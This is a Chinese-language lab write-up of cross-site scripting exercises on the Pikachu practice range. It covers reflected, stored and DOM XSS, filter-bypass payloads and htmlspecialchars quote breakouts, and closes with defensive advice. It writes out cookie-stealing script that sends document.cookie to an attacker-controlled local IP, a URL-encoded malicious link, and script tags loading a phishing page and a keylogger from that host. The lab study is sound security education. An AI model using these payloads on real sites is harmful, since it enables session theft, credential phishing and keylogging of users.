pikachu之xss
文章目录
XSS 跨站脚本漏洞概述
原因
形成xss的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行从而产生危害。
地位
一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位
危害对象
xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户
危害
可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取。
设置可以结合浏览器自身的漏洞对用户主机进行远程控制
攻击流程
插入==>诱惑点击==>执行代码==>获取cookie==>伪造登录==>实施攻击
攻击者将恶意的js代码插入到某个网站,欺骗或等待用户来访问,当用户打开页面时就会执行恶意的js代码(在用户的客户端运行),如果该js代码的功能是获取用户的cookie,则运行后就会将获取的用户cookie发送到攻击者预先设置好的接口,攻击者收到用户cookie后会伪造用户登录,造成破坏。
测试流程
1、在目标站点上找到输入点,比如查询接口、留言板等;
2、输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;
3、通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构成执行js的条件(构造闭合);
4、提交构造的脚本代码(各种绕过姿势的payload),看是否可以成功执行,如果成功执行则说明存在xss。
经验
1、一般查询接口容易出现反射型xss,留言板容易出现存储型xss;
2、由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境抑制了执行(浏览器);
3、通过变化不同的script,尝试绕过后台过滤机制。
pikachu靶场测试
1、反射型xss(get)
1、输入特殊字符+唯一标识字符
2、点击提交并查看网页源码
发现输入的字符未过滤直接显示在了p标签中
3、构造简单payload
发现有输入长度限制
审查元素发现限制在前端,于是手动更改数值并回车
继续构造弹窗payload
弹窗成功
测试总结:
1、首先按照测试步骤
查找输入点==>输入特殊字符+唯一标识字符==>查看源码并分析==>构造闭合==>构造payload
2、如遇到输入长度限制,则审查元素查看原因,若是前端限制则直接更改数值
3、应用场景:因为是get方式,所以构造url诱导受害者点击,点击后会以get方式向后台提交js代码进而执行。
4、刷新后攻击效果消失
分析后端源码:
未作任何过滤,直接输出
2、存储型xss
也称为永久型xss,与反射型xss的形成原因一样,不同的是存储型xss下的攻击者可以将脚本注入到后台存储起来,构成更加持久的危害。
总结:
1、按照步骤
查找输入点==>输入特殊字符(’"<>?&2019)+唯一标识字符==>查看分析网页源码==>构造闭合==>构造payload
2、存储型xss为永久型,刷新页面也会触发,所以危害巨大
构造payload:<script>alert('xss')</script>
输入payload点提交
反复刷新页面,依然弹窗,说明存储型xss是永久型的
分析源码:
直接将用户输入的留言内容插入数据库中
表单中遍历查询留言内容并直接输出(echo后面的{$data[‘content’]}直接输出到p标签里),虽然有预防sql注入,但构成了存储型xss
3、DOM型xss
总结:
1、一个纯前端的操作
2、按照步骤
找输入框==>输入特殊字符+唯一标识符==>分析网页源码==>构造闭合==>构造payload
分析网页源码
构造闭合
<a href='"+str+"'>what do you see?</a>
构造payload
'οnclick=“alert(‘xss’)”>
点击链接则会触发构造的js代码
特殊:
还是前面的步骤,以下为网页源码:
构造payload
tips:转义字符的用途
案例
1、xss(get)获取cookie
xss后台----------获取并插入数据
xss后台------------查询并输出结果
反射型xss(get)
由于直接将用户输入拼接到p标签内,所以构造payload:
<script>
document.location = 'http://192.168.31.212/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
后台查看结果
攻击思路:
用payload构造恶意url诱导受害者点击
http://192.168.31.212/pikachu/vul/xss/xss_reflected_get.php?message=&submit=submit
将payload部分用url编码为:
http://192.168.31.212/pikachu/vul/xss/xss_reflected_get.php?message=%3cscript%3edocument.location%20%3d%20’http%3a%2f%2f192.168.31.212%2fpkxss%2fxcookie%2fcookie.php%3fcookie%3d’%20%2b%20document.cookie%3b%3c%2fscript%3e&submit=submit
总结:
1、对于存在反射型xss的页面
2、事先准备两个php文件,一个用于接收并保存获取的cookie信息,另一个输出保存的cookie信息。
3、接收的php文件在最后要url重定向到一个正常的页面,以伪装攻击。
4、构造payload绑定后台地址接口文件。
5、构造恶意url(将payload插入到url中)诱导受害者点击。
2、xss(post)获取cookie
攻击思路:
- 事先搭建一个站点,创建三个文件,一个html文件用于发送post请求向目标站点提交恶意js代码(需要诱导用户点击),一个php文件用于接收并保存获取的cookie信息,另一个php文件用于输出保存的cookie信息。
- 原理:当用户点击html文件的链接后,会发送post请求获取用户的cookie信息并将页面重定向到一个正常页面,将用户的cookie信息保存到实现设置好的数据库中。
- 异同:与反射型xss(get)不同的是,get型xss攻击时需将payload插入到url中诱导用户点击,post型需要设置一个html页面将payload插入到form表单的请求体中。
总结:
-
一个html文件用于发送post请求,请求文件如下:
-
一个php文件用于接收并保存获取的cookie信息
-
另一个php文件用于输出保存的cookie信息
过程:
模拟用户先登录xss网站
给用户发送链接http://192.168.31.212/pkxss/xcookie/post.html (事先创建的html文件),诱导其点击
模拟用户点击:
点击后重定向到首页:
攻击成功!登陆后台查看结果:
3、xss钓鱼攻击
思路:
制作钓鱼鱼饵:www-Authenticate: Basic (basic认证页面)
诱导用户输入账号和密码,然后将其发送到后台接口
所需文件:
钓鱼页面文件fish.php
后台接收文件xfish.php
后台显示文件pkxss_fish_result.php
过程--------------基于存储型xss:
构造payload
<script src="http://192.168.31.212/pkxss/xfish/fish.php"></script>
点击提交,弹出钓鱼页面,模拟用户输入用户名和密码点击确定
此时,用户名和密码已被插入到攻击者数据库。
4、xss键盘记录
知识补充:
a、跨域
http://www.xyz.com:8080/script/test.js
其中http为协议,www为子域名,xyz.com为主域名,8080为端口,script/test.js为资源地址
当协议、主机(主域名、子域名)、端口中任意一个不相同时,称为不同域
我们把不同域之间的请求数据的操作,称为跨域操作。
b、浏览器的“同源”策略
处于安全考虑,浏览器禁止js文件跨域操作(也就是说,不同域之间的不能使用js进行交互操作,例如x.com域名下的js并不能操作y.com域下的对象)
Tips:下面这些标签跨域加载资源(资源类型有限制)不受同源策略限制
<script src="..."> //js加载到本地执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
同源策略的必要性:
假设Alice登录的淘宝,攻击者向Alice发送了一个恶意链接urlB: http://www.盗你cookie.com。若没有同源策略,则urlB上的js可以操作Alice的网页内容(如:获取cookie等)
源码分析:
恶意js-------rk.js(获取用户的键盘记录并发送)
XMLHttpRequest对象:用于再后台与服务器交换数据。可以在不重新加载页面的情况下更新页面;在后台向服务器发送数据;在页面已加载后从服务器请求数据;在页面加载后从服务器请求数据。
overrideMimeType方法:指定一个MIME类型用于代替服务器指定的类型。例如“text/xml”强制使流方式处理
接收键盘记录的后台文件----------rkserver.php
因为攻击者和用户是不同域的,所以无法在用户的浏览器运行攻击者的js,所以攻击者要更改header实现跨域访问
显示结果------------pkxss_keypress_result.php
过程-------------基于存储型xss:
构造payload:
<script src="http://192.168.31.212/pkxss/rkeypress/rk.js"></script>
点击提交,此时注入成功!
切换用户视角,访问存储型xss页面,打开审查元素,随意敲击键盘,发现一连串的xhr请求如下图:
攻击者登录后台查看:
5、xss盲打
本质上是存储型xss,意见反馈、私密留言框,用户的输入不会在用户的页面显示,而是存储在后台只有管理员可以看到
攻击思路:
在存储型xss页面的注入点输入payload,等待管理员去访问或点击,获取管理员cookie(或者制作钓鱼),进而获取管理员权限
过程:
攻击者注入恶意代码
管理员登录后台
触发xss
6、xss绕过
为防止xss,程序员在写代码时对用户的输入输出都有过滤,但有时由于过滤逻辑不严谨,所以可以绕过。
xss绕过----过滤-------转换思路
a、前端限制绕过(没有实质作用),直接抓包重放,或者修改html前端代码
b、大小写混用,比如:<SCRIPT>aLeRT('111')</sCRIpt>
c、拼凑:<scri<script>tp>alert('111')</scri</script>pt>
(有可能后台只对script标签过滤一次)
d、使用注释干扰: <scri<!--test-->pt>alert('111')</sc<!--test-->ript>
(后端代码不认识无法过滤,而前端可以完美解释运行)
xss绕过----过滤---------编码思路
核心思路:后台过滤了特殊字符,比如script标签,我们可以对其进行编码,从而逃过过滤,当浏览器对该编码进行识别时,会翻译成正常的标签从而执行。
注:使用编码时要考虑编码在输出点是否会被正常识别和翻译
比如:url编码浏览器不会解释,所以虽然可以绕过过滤,但无法在输出点被正常识别和翻译;而html编码不但可以绕过过滤,而在输出点也会正常识别和翻译。(看具体情况)
演示过程:
输入特殊字符+唯一标识符
查看源代码分析
如图所示<script已被干掉
尝试绕过1--------大小写混合
绕过成功!
尝试绕过2---------使用其他标签
绕过成功!
源码分析:---------xss_01.php
使用正则表达式当<script替换为空,所以可以用上述两种绕过思路(大小写混合,使用其他标签)
7、htmlspecialchars转义绕过
知识补充:
htmlspecialchars()函数把预定义的字符转换为HTML实体
$ok=htmlspecialchars($_GET['message'])
如:
& ------------------> &
" --------------------> "
’ ---------------------> '
< ---------------------> <
> ----------------------> >
可用的引号类型:
ENT_COMPAT – (默认)仅编码双引号
ENT_QUOTES – 编码双引号和单引号
ENT_NOQUOTES – 不编码任何引号
测试过程:
输入特殊字符+唯一标识符
'"<>&?8989
查看页面源码
如图所示,将"<>&进行了html实体编码
构造闭合
输入payload:’ οnclick=‘alert(2222)’ 提交
成功执行!
后台源码分析---------xss_02.php:
如上图所示用户输入内容仅用htmlspecialchars()函数默认转义,对’不做处理,所以来利用此漏洞实现绕过。
xss防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面的进行js转义。
1、herf中也可运行js
输入特殊字符+唯一标识符
'"<>&?8989 提交
查看网页源码:
如图所示’"<>&均被转义
后台源码分析----------xss_03.php:
因为在herf内可以通过JavaScript协议执行js,所以需要过滤
防御思路:因为herf属性内经常输入超链接,所以可以只允许http,https开头的通过,其次再用htmlspecialchars()处理
2、js中输出
输入特殊字符+唯一标识符
'"<>&?8989 提交
查看网页源码:
找到输出点在js中,且未作过滤。
构造闭合。
输入payload: '</script><script>alert('xss')</script>
执行成功!
源码分析-----------xss_04.php:
防御思路:因为输出点在js中,所以不能使用htmlspecialchars()函数编码,因为htmlspecialchars()为html实体编码,编码后在输出点js中不会被正确解释,所以应该用js转义(\)